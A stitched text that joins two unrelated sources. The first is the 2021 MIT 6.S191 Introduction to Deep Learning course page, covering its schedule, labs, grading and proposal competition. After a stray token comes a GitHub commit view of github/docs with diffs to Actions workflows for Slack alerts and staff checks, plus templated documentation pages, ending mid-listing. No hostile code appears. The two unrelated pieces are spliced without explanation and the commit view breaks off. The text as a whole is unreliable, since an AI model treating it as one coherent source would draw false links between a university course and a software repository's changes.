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MIT Introduction to Deep Learning (6.S191) Instructors: Alexander Amini and Ava Soleimany Course Information Summary Prerequisites Schedule Lectures Labs, Final Projects, Grading, and Prizes Software labs Gather.Town lab + Office Hour sessions Final project Paper Review Project Proposal Presentation Project Proposal Grading Rubric Past Project Proposal Ideas Awards + Categories Important Links and Emails Course Information Summary MIT's introductory course on deep learning methods with applications to computer vision, natural language processing, biology, and more! Students will gain foundational knowledge of deep learning algorithms and get practical experience in building neural networks in TensorFlow. Course concludes with a project proposal competition with feedback from staff and a panel of industry sponsors. Prerequisites We expect basic knowledge of calculus (e.g., taking derivatives), linear algebra (e.g., matrix multiplication), and probability (e.g., Bayes theorem) -- we'll try to explain everything else along the way! Experience in Python is helpful but not necessary. This class is taught during MIT's IAP term by current MIT PhD researchers. Listeners are welcome! Schedule Monday Jan 18, 2021 Lecture: Introduction to Deep Learning and NNs Lab: Lab 1A Tensorflow and building NNs from scratch Tuesday Jan 19, 2021 Lecture: Deep Sequence Modelling Lab: Lab 1B Music Generation using RNNs Wednesday Jan 20, 2021 Lecture: Deep Computer Vision Lab: Lab 2A Image classification and detection Thursday Jan 21, 2021 Lecture: Deep Generative Modelling Lab: Lab 2B Debiasing facial recognition systems Friday Jan 22, 2021 Lecture: Deep Reinforcement Learning Lab: Lab 3 pixel-to-control planning Monday Jan 25, 2021 Lecture: Limitations and New Frontiers Lab: Lab 3 continued Tuesday Jan 26, 2021 Lecture (part 1): Evidential Deep Learning Lecture (part 2): Bias and Fairness Lab: Work on final assignments Lab competition entries due at 11:59pm ET on Canvas! Lab 1, Lab 2, and Lab 3 Wednesday Jan 27, 2021 Lecture (part 1): Nigel Duffy, Ernst & Young Lecture (part 2): Kate Saenko, Boston University and MIT-IBM Watson AI Lab Lab: Work on final assignments Assignments due: Sign up for Final Project Competition Thursday Jan 28, 2021 Lecture (part 1): Sanja Fidler, U. Toronto, Vector Institute, and NVIDIA Lecture (part 2): Katherine Chou, Google Lab: Work on final assignments Assignments due: 1 page paper review (if applicable) Friday Jan 29, 2021 Lecture: Student project pitch competition Lab: Awards ceremony and prize giveaway Assignments due: Project proposals (if applicable) Lectures Lectures will be held starting at 1:00pm ET from Jan 18 - Jan 29 2021, Monday through Friday, virtually through Zoom. Current MIT students, faculty, postdocs, researchers, staff, etc. will be able to access the lectures during this two week period, synchronously or asynchronously, via the MIT Canvas course webpage (MIT internal only). Lecture recordings will be uploaded to the Canvas as soon as possible; students are not required to attend any lectures synchronously. Please see the Canvas for details on Zoom links. The public edition of the course will only be made available after completion of the MIT course. Labs, Final Projects, Grading, and Prizes Course will be graded during MIT IAP for 6 units under P/D/F grading. Receiving a passing grade requires completion of each software lab project (through honor code, with submission required to enter lab competitions), a final project proposal/presentation or written review of a deep learning paper (submission required), and attendance/lecture viewing (through honor code). Submission of a written report or presentation of a project proposal will ensure a passing grade. MIT students will be eligible for prizes and awards as part of the class competitions. There will be two parts to the competitions: (1) software labs and (2) final projects. More information is provided below. Winners will be announced on the last day of class, with thousands of dollars of prizes being given away! Software labs There are three TensorFlow software lab exercises for the course, designed as iPython notebooks hosted in Google Colab. Software labs can be found on GitHub: https://github.com/aamini/introtodeeplearning. These are self-paced exercises and are designed to help you gain practical experience implementing neural networks in TensorFlow. For registered MIT students, submission of lab materials is not necessary to get credit for the course or to pass the course. At the end of each software lab there will be task-associated materials to submit (along with instructions) for entry into the competitions, open to MIT students and affiliates during the IAP offering. This includes MIT students/affiliates who are taking the class as listeners -- you are eligible! These instructions are provided at the end of each of the labs. Completing these tasks and submitting your materials to Canvas will enter you into a per-lab competition. MIT students and affiliates will be eligible for prizes during the IAP offering; at the end of the course, prize-winners will be awarded with their prizes. All competition submissions are due on January 26 at 11:59pm ET to Canvas. For the software lab competitions, submissions will be judged on the basis of the following criteria: Strength and quality of final results (lab dependent) Soundness of implementation and approach Thoroughness and quality of provided descriptions and figures Gather.Town lab + Office Hour sessions After each day’s lecture, there will be open Office Hours in the class GatherTown, up until 3pm ET. An MIT email is required to log in and join the GatherTown. During these sessions, there will not be a walk through or dictation of the labs; the labs are designed to be self-paced and to be worked on on your own time. The GatherTown sessions will be hosted by course staff and are held so you can: Ask questions on course lectures, labs, logistics, project, or anything else; Work on the labs in the presence of classmates/TAs/instructors; Meet classmates to find groups for the final project; Group work time for the final project; Bring the class community together. Final project To satisfy the final project requirement for this course, students will have two options: (1) write a 1 page paper review (single-spaced) on a recent deep learning paper of your choice or (2) participate and present in the project proposal pitch competition. The 1 page paper review option is straightforward, we propose some papers within this document to help you get started, and you can satisfy a passing grade with this option -- you will not be eligible for the grand prizes. On the other hand, participation in the project proposal pitch competition will equivalently satisfy your course requirements but additionally make you eligible for the grand prizes. See the section below for more details and requirements for each of these options. Paper Review Students may satisfy the final project requirement by reading and reviewing a recent deep learning paper of their choosing. In the written review, students should provide both: 1) a description of the problem, technical approach, and results of the paper; 2) critical analysis and exposition of the limitations of the work and opportunities for future work. Reviews should be submitted on Canvas by Thursday Jan 28, 2021, 11:59:59pm Eastern Time (ET). Just a few paper options to consider... https://papers.nips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf https://papers.nips.cc/paper/2018/file/69386f6bb1dfed68692a24c8686939b9-Paper.pdf https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf https://science.sciencemag.org/content/362/6419/1140 https://papers.nips.cc/paper/2018/file/0e64a7b00c83e3d22ce6b3acf2c582b6-Paper.pdf https://arxiv.org/pdf/1906.11829.pdf https://www.nature.com/articles/s42256-020-00237-3 https://pubmed.ncbi.nlm.nih.gov/32084340/ Project Proposal Presentation Keyword: proposal This is a 2 week course so we do not require results or working implementations! However, to win the top prizes, nice, clear results and implementations will demonstrate feasibility of your proposal which is something we look for! Logistics -- please read! You must sign up to present before 11:59:59pm Eastern Time (ET) on Wednesday Jan 27, 2021 Slides must be in a Google Slide before 11:59:59pm Eastern Time (ET) on Thursday Jan 28, 2021 Project groups can be between 1 and 5 people Listeners welcome To be eligible for a prize you must have at least 1 registered MIT student in your group Each participant will only be allowed to be in one group and present one project pitch Synchronous attendance on 1/29/21 is required to make the project pitch! 3 min presentation on your idea (we will be very strict with the time limits) Prizes! (see below) Sign up to Present here: by 11:59pm ET on Wednesday Jan 27 Once you sign up, make your slide in the following Google Slides; submit by midnight on Thursday Jan 28. Please specify the project group # on your slides!!! Things to Consider This doesn’t have to be a new deep learning method. It can just be an interesting application that you apply some existing deep learning method to. What problem are you solving? Are there use cases/applications? Why do you think deep learning methods might be suited to this task? How have people done it before? Is it a new task? If so, what are similar tasks that people have worked on? In what aspects have they succeeded or failed? What is your method of solving this problem? What type of model + architecture would you use? Why? What is the data for this task? Do you need to make a dataset or is there one publicly available? What are the characteristics of the data? Is it sparse, messy, imbalanced? How would you deal with that? Project Proposal Grading Rubric Project proposals will be evaluated by a panel of judges on the basis of the following three criteria: 1) novelty and impact; 2) technical soundness, feasibility, and organization, including quality of any presented results; 3) clarity and presentation. Each judge will award a score from 1 (lowest) to 5 (highest) for each of the criteria; the average score from each judge across these criteria will then be averaged with that of the other judges to provide the final score. The proposals with the highest final scores will be selected for prizes. Here are the guidelines for the criteria: Novelty and impact: encompasses the potential impact of the project idea, its novelty with respect to existing approaches. Why does the proposed work matter? What problem(s) does it solve? Why are these problems important? Technical soundness, feasibility, and organization: encompasses all technical aspects of the proposal. Do the proposed methodology and architecture make sense? Is the architecture the best suited for the proposed problem? Is deep learning the best approach for the problem? How realistic is it to implement the idea? Was there any implementation of the method? If results and data are presented, we will evaluate the strength of the results/data. Clarity and presentation: encompasses the delivery and quality of the presentation itself. Is the talk well organized? Are the slides aesthetically compelling? Is there a clear, well-delivered narrative? Are the problem and proposed method clearly presented? Past Project Proposal Ideas Recipe Generation with RNNs Can we compress videos with CNN + RNN? Music Generation with RNNs Style Transfer Applied to X GAN’s on a new modality Summarizing text/news articles Combining news articles about similar events Code or spec generation Multimodal speech → handwriting Generate handwriting based on keywords (i.e. cursive, slanted, neat) Predicting stock market trends Show language learners articles or videos at their level Transfer of writing style Chemical Synthesis with Recurrent Neural networks Transfer learning to learn something in a domain for which it’s hard or risky to gather data or do training RNNs to model some type of time series data Computer vision to coach sports players Computer vision system for safety brakes or warnings Use IBM Watson API to get the sentiment of your Facebook newsfeed Deep learning webcam to give wifi-access to friends or improve video chat in some way Domain-specific chatbot to help you perform a specific task Detect whether a signature is fraudulent Awards + Categories Final Project Awards: 1x NVIDIA RTX 3080 4x Google Home Max 3x Display Monitors Software Lab Awards: Bose headphones (Lab 1) Display monitor (Lab 2) Bebop drone (Lab 3) Important Links and Emails Course website: http://introtodeeplearning.com Course staff: introtodeeplearning-staff@mit.edu Piazza forum (MIT only): https://piazza.com/mit/spring2021/6s191 Canvas (MIT only): https://canvas.mit.edu/courses/8291 Software lab repository: https://github.com/aamini/introtodeeplearning Lab/office hour sessions (MIT only): https://gather.town/app/56toTnlBrsKCyFgj/MITDeepLearning
Sfedfcv
Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. 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You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md 